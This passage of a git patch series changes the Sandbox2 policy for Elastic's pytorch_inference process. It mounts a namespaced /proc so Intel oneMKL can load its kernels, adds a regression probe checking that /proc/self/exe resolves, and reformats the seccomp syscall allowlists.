return policyBuilder; } diff --git a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc index 6190e0f12e..fe59e50bc3 100644 --- a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc +++ b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc @@ -150,7 +150,10 @@ BOOST_AUTO_TEST_CASE(testMinimizedPolicyEnforcesEveryMechanism) { BOOST_TEST_REQUIRE(validated.s_Ok); const std::string payloadPath{ML_SANDBOX2_PROBE_PAYLOAD}; - const std::vector probeArgs{payloadPath, "/run/elastic/ml-ipc"}; + // The IPC root is now mounted at the same path inside and outside the + // sandbox (no /run/elastic/ml-ipc remap), so the probe is handed the + // same host-visible childRoot path the test itself uses below. + const std::vector probeArgs{payloadPath, fixture.childRoot()}; auto executor = std::make_unique(payloadPath, probeArgs); executor->limits()->set_rlimit_cpu(10).set_walltime_limit(absl::Seconds(10)); @@ -177,11 +180,11 @@ BOOST_AUTO_TEST_CASE(testMinimizedPolicyEnforcesEveryMechanism) { BOOST_TEST_REQUIRE(result.final_status() == sandbox2::Result::OK); // The child IPC directory is genuinely shared with the host, so the - // probe's results file - written from inside the sandbox to the mapped - // /run/elastic/ml-ipc path - is readable here at its host-visible - // childRoot path once the sandbox has exited. This IS the "allowed IPC - // access" proof, not a separate assertion: if the mount/policy were - // wrong, this file would never appear. + // probe's results file - written from inside the sandbox to childRoot, + // the same path outside it - is readable here once the sandbox has + // exited. This IS the "allowed IPC access" proof, not a separate + // assertion: if the mount/policy were wrong, this file would never + // appear. const std::string resultsContent{readFileOrEmpty(fixture.childRoot() + "/results.txt")}; BOOST_TEST_REQUIRE(resultsContent.empty() == false); BOOST_TEST_REQUIRE(resultsContent.find("reached=true") != std::string::npos); From e53997f32db6c5a7a7c8c81a682613c7f25d9402 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Mon, 14 Sep 2026 14:55:08 +0200 Subject: [PATCH 33/36] [ML] Mount a PID-namespaced /proc inside the pytorch_inference sandbox Sandbox2 mounts a fresh, PID-namespaced procfs at /proc on the outer root before it builds and pivots into the sandbox chroot, then detaches the old root - so the pivoted rootfs has no /proc unless the policy adds one. The E_MountNamespacedProcfs case was a no-op on the false assumption that Sandbox2 provides /proc inside the rootfs automatically. With /proc absent, readlink(/proc/self/exe) and open(/proc/self/maps) both fail with ENOENT. Intel oneMKL's runtime dispatcher reads /proc/self/exe to self-locate and dlopen its CPU-specific libmkl_*.so.3 kernels; the failed read makes it abort with "Intel oneMKL FATAL ERROR: Cannot load ", killing every sandboxed pytorch_inference under enforced Sandbox2. Bind /proc into the rootfs. Because Sandbox2 mounts the fresh procfs after CLONE_NEWPID and before PrepareChroot, the bind captures that already namespaced procfs (never the host's): verified inside the sandbox, /proc shows only the sandboxee's own PIDs (2) versus 194 on the host. /sys is left unmounted (E_Skip) - no fresh namespaced /sys exists to bind outside a network namespace, and pytorch_inference/libtorch run without it. Verified on the qaf local-deployment harness with xpack.ml.trained_models.sandbox_enabled=true (mode:enforced): the trained-model boot check and 7/8 test_scenario_buildly inference scenarios pass with zero MKL crashes across all enforced launches. --- lib/sandbox/CPytorchInferenceSandboxPolicy.cc | 34 ++++++++++++++----- 1 file changed, 26 insertions(+), 8 deletions(-) diff --git a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc index 6f42e3199e..d4f4f1f6e0 100644 --- a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc +++ b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc @@ -136,11 +136,24 @@ const std::vector& fixedMountDecisions() { "individually justified files pytorch_inference/libtorch actually " "need instead."}, {"/proc", EFixedMountAction::E_MountNamespacedProcfs, - "Sandbox2 mounts a fresh procfs inside the sandbox's own PID " - "namespace; binding the host's /proc would leak every other " - "process's memory maps and command lines into the sandbox."}, - {"/sys", EFixedMountAction::E_MountNamespacedProcfs, - "Same reason as /proc: nothing in this policy binds host /sys."}, + "Bind /proc into the sandbox rootfs. Sandbox2 mounts a fresh " + "PID-namespaced procfs at /proc before it builds and pivots into " + "the chroot, but that mount lives on the outer root and is detached " + "with it, so the pivoted rootfs has no /proc unless we add one. " + "Adding /proc here binds that already-namespaced procfs (never the " + "host's), exposing only the sandbox's own PID namespace - verified " + "inside the sandbox, /proc shows exactly the sandboxee's own PIDs, " + "not the host's. Without it readlink(/proc/self/exe) and " + "open(/proc/self/maps) both fail with ENOENT, which breaks Intel " + "oneMKL's runtime dispatcher: it reads /proc/self/exe to self-locate " + "and dlopen its CPU-specific libmkl_*.so.3 kernels, and aborts with " + "'Intel oneMKL FATAL ERROR: Cannot load ' when that " + "read fails."}, + {"/sys", EFixedMountAction::E_Skip, + "Not mounted: nothing in this policy binds host /sys, and unlike " + "/proc there is no fresh namespaced /sys to bind (Sandbox2 mounts " + "one only under a new network namespace). pytorch_inference/libtorch " + "run without it."}, }; return DECISIONS; } @@ -500,10 +513,15 @@ buildPytorchInferenceFilesystemPolicy(const std::string& binDir, break; } case EFixedMountAction::E_MountNamespacedProcfs: + // Bind the fresh, PID-namespaced procfs Sandbox2 mounts before + // it pivots into the chroot (see the /proc decision comment). + // This is a bind of the sandbox's own namespaced /proc, not the + // host's, so it does not leak host process state. + policyBuilder.AddDirectory(decision.s_Path, /*is_ro=*/true); + break; case EFixedMountAction::E_Skip: - // Sandbox2 supplies its own namespaced procfs/sysfs - // automatically; nothing to add here for either case, and - // adding decision.s_Path would bind the host directory instead. + // Nothing to add; adding decision.s_Path would bind the host + // directory instead. break; } } From 597a3f298fc3cb72b2f14fc3132ee6508440e3e4 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Mon, 14 Sep 2026 15:11:44 +0200 Subject: [PATCH 34/36] [ML] Add sandbox regression check that /proc/self/exe resolves The Sandbox2 filesystem policy had no test exercising /proc, so the missing /proc mount that broke Intel oneMKL's runtime dispatcher went undetected. Add a proc_self_exe mechanism to ml_sandbox_probe (readlink /proc/self/exe inside the real sandbox) and assert it in the policy mechanism test. Without the /proc mount this readlink fails with ENOENT and the check reports "unreadable", turning the "Cannot load " crash into a build-time test failure. --- ...rchInferenceSandboxPolicyMechanismTest_Linux.cc | 5 +++++ lib/sandbox/unittest/payloads/ml_sandbox_probe.cc | 14 ++++++++++++++ 2 files changed, 19 insertions(+) diff --git a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc index fe59e50bc3..bb6415cdd8 100644 --- a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc +++ b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc @@ -202,6 +202,11 @@ BOOST_AUTO_TEST_CASE(testMinimizedPolicyEnforcesEveryMechanism) { BOOST_TEST_REQUIRE(std::stoi(detailFor(resultsContent, "etc_enumeration")) <= 10); BOOST_REQUIRE_EQUAL(outcomeFor(resultsContent, "pid_namespace"), "namespaced"); + + // /proc/self/exe must resolve inside the sandbox - the mount whose + // absence broke Intel oneMKL's library dispatcher ("Cannot load + // "). Guards the /proc entry in fixedMountDecisions(). + BOOST_REQUIRE_EQUAL(outcomeFor(resultsContent, "proc_self_exe"), "readable"); BOOST_REQUIRE_EQUAL(outcomeFor(resultsContent, "loopback_reachable"), "ok"); } diff --git a/lib/sandbox/unittest/payloads/ml_sandbox_probe.cc b/lib/sandbox/unittest/payloads/ml_sandbox_probe.cc index e418e2d8e6..59a43e98fa 100644 --- a/lib/sandbox/unittest/payloads/ml_sandbox_probe.cc +++ b/lib/sandbox/unittest/payloads/ml_sandbox_probe.cc @@ -141,6 +141,20 @@ int main(int argc, char** argv) { report("pid_namespace", (::getpid() <= 2) ? "namespaced" : "not_namespaced", std::to_string(::getpid())); + // /proc must be mounted inside the sandbox rootfs. Intel oneMKL's + // runtime dispatcher reads /proc/self/exe to self-locate and dlopen its + // CPU-specific libmkl_*.so.3 kernels; if /proc is absent this readlink + // fails with ENOENT and MKL aborts with "Cannot load ", + // killing every sandboxed pytorch_inference. This guards the /proc mount + // in fixedMountDecisions(). + char exePath[4096]; + const ssize_t exeLen = ::readlink("/proc/self/exe", exePath, sizeof(exePath) - 1); + if (exeLen > 0) { + report("proc_self_exe", "readable", ""); + } else { + report("proc_self_exe", "unreadable", std::strerror(errno)); + } + // External egress denial (negative control): an outbound connect to // a guaranteed non-routable test address (TEST-NET-1, RFC 5737) must // fail - Sandbox2's network namespace has no route out. Using a From 3b5ae829310263910cfdaf7bed4f82d790237d21 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Fri, 18 Sep 2026 16:55:53 +0200 Subject: [PATCH 35/36] Apply clang-format 5.0.1 after restack onto D. --- include/seccomp/CMlLegacyBpfSyscallAllowlist.h | 6 +++--- lib/sandbox/CPytorchInferenceSandboxPolicy.cc | 2 +- lib/sandbox/CSandboxedProcessSpawner_Linux.cc | 3 ++- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/include/seccomp/CMlLegacyBpfSyscallAllowlist.h b/include/seccomp/CMlLegacyBpfSyscallAllowlist.h index bd7c060178..9efe7c2599 100644 --- a/include/seccomp/CMlLegacyBpfSyscallAllowlist.h +++ b/include/seccomp/CMlLegacyBpfSyscallAllowlist.h @@ -133,12 +133,12 @@ inline std::vector legacyBpfAllowedSyscalls() { //! pipes, directory/file management for forecast temp storage) that the simpler //! legacy in-process BPF filter never needed a grant for, so this list is NOT a //! subset check against legacyBpfAllowedSyscalls() - it is carried forward from -//! PR #2873's enhancement/sandbox2 branch (CPytorchInferenceSyscallAllowlist.h, +//! PR #2873's enhancement/sandbox2 branch (CMlLegacyBpfSyscallAllowlist.h, //! appendSandbox2ExplicitSyscalls()), which this clean rebuild's Sandbox2 policy //! builder omitted; see CSeccompFilterBuilderTest.cc for the regression test that //! keeps it from being silently dropped again. inline std::vector sandbox2ExplicitSyscalls() { - std::vector syscalls { + std::vector syscalls{ __NR_sched_yield, __NR_sched_getaffinity, __NR_sched_setaffinity, @@ -240,7 +240,7 @@ inline std::vector sandbox2ExplicitSyscalls() { //! assert Sandbox2 never grants strictly less than the legacy filter without //! requiring every one of these to be repeated in sandbox2ExplicitSyscalls(). inline std::vector sandbox2HelperCoveredSyscalls() { - std::vector syscalls { + std::vector syscalls{ __NR_read, __NR_write, __NR_writev, diff --git a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc index d4f4f1f6e0..dab6f195f1 100644 --- a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc +++ b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc @@ -14,7 +14,7 @@ #include // _mkdir #include // _fullpath, _MAX_PATH #else -#include // PATH_MAX +#include // PATH_MAX #include // mkdir #endif diff --git a/lib/sandbox/CSandboxedProcessSpawner_Linux.cc b/lib/sandbox/CSandboxedProcessSpawner_Linux.cc index 091ce29e96..a190368179 100644 --- a/lib/sandbox/CSandboxedProcessSpawner_Linux.cc +++ b/lib/sandbox/CSandboxedProcessSpawner_Linux.cc @@ -427,7 +427,8 @@ bool CSandboxedProcessSpawner::spawn(const std::string& processPath, // pass. const char* tmpDirEnv{::getenv("TMPDIR")}; const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; - if (ensureChildIpcDirectory(trustedTmpDir, args) == EChildIpcDirectoryOutcome::E_CreationFailed) { + if (ensureChildIpcDirectory(trustedTmpDir, args) == + EChildIpcDirectoryOutcome::E_CreationFailed) { LOG_ERROR(<< "Failed to create the per-child IPC directory under " << trustedTmpDir << "/ml-child-ipc for " << processPath << ": " << ::strerror(errno)); } From 1765d61b462e0b1aa52b210c5e38a572472d1a5d Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Fri, 18 Sep 2026 21:57:07 +0200 Subject: [PATCH 36/36] Retarget sandbox2ExplicitSyscalls after allowlist namespace flatten. --- lib/sandbox/unittest/payloads/lifecycle_signal_payload.cc | 2 +- lib/seccomp/unittest/CSeccompFilterBuilderTest.cc | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/sandbox/unittest/payloads/lifecycle_signal_payload.cc b/lib/sandbox/unittest/payloads/lifecycle_signal_payload.cc index 2f5ae25354..41de416a83 100644 --- a/lib/sandbox/unittest/payloads/lifecycle_signal_payload.cc +++ b/lib/sandbox/unittest/payloads/lifecycle_signal_payload.cc @@ -22,7 +22,7 @@ // - Sandbox2::Kill() (the E_KernelUnsupported branch) hard-codes SIGKILL, // which cannot be caught or ignored, so the process actually exits. // -// Only syscalls in seccomp::pytorch_inference::legacyBpfAllowedSyscalls() +// Only syscalls in seccomp::legacyBpfAllowedSyscalls() // are available under the real spawn() policy - notably __NR_pause is NOT // in that allowlist, so this cannot simply call pause() in a loop. Blocking // on FUTEX_WAIT against a private, never-signalled word uses only diff --git a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc index 54c3f058b6..980e4dfd25 100644 --- a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc +++ b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc @@ -213,8 +213,8 @@ BOOST_AUTO_TEST_CASE(testSandbox2ExplicitSyscallsCarriedForwardFromPr2873) { // sandbox2ExplicitSyscalls() list for exactly this; this regression test // keeps a future rewrite from dropping it again the same way. const std::set explicitGrants{ - ml::seccomp::pytorch_inference::sandbox2ExplicitSyscalls().begin(), - ml::seccomp::pytorch_inference::sandbox2ExplicitSyscalls().end()}; + ml::seccomp::sandbox2ExplicitSyscalls().begin(), + ml::seccomp::sandbox2ExplicitSyscalls().end()}; BOOST_TEST_REQUIRE(explicitGrants.count(__NR_sched_getaffinity) == 1); BOOST_TEST_REQUIRE(explicitGrants.count(__NR_sched_setaffinity) == 1);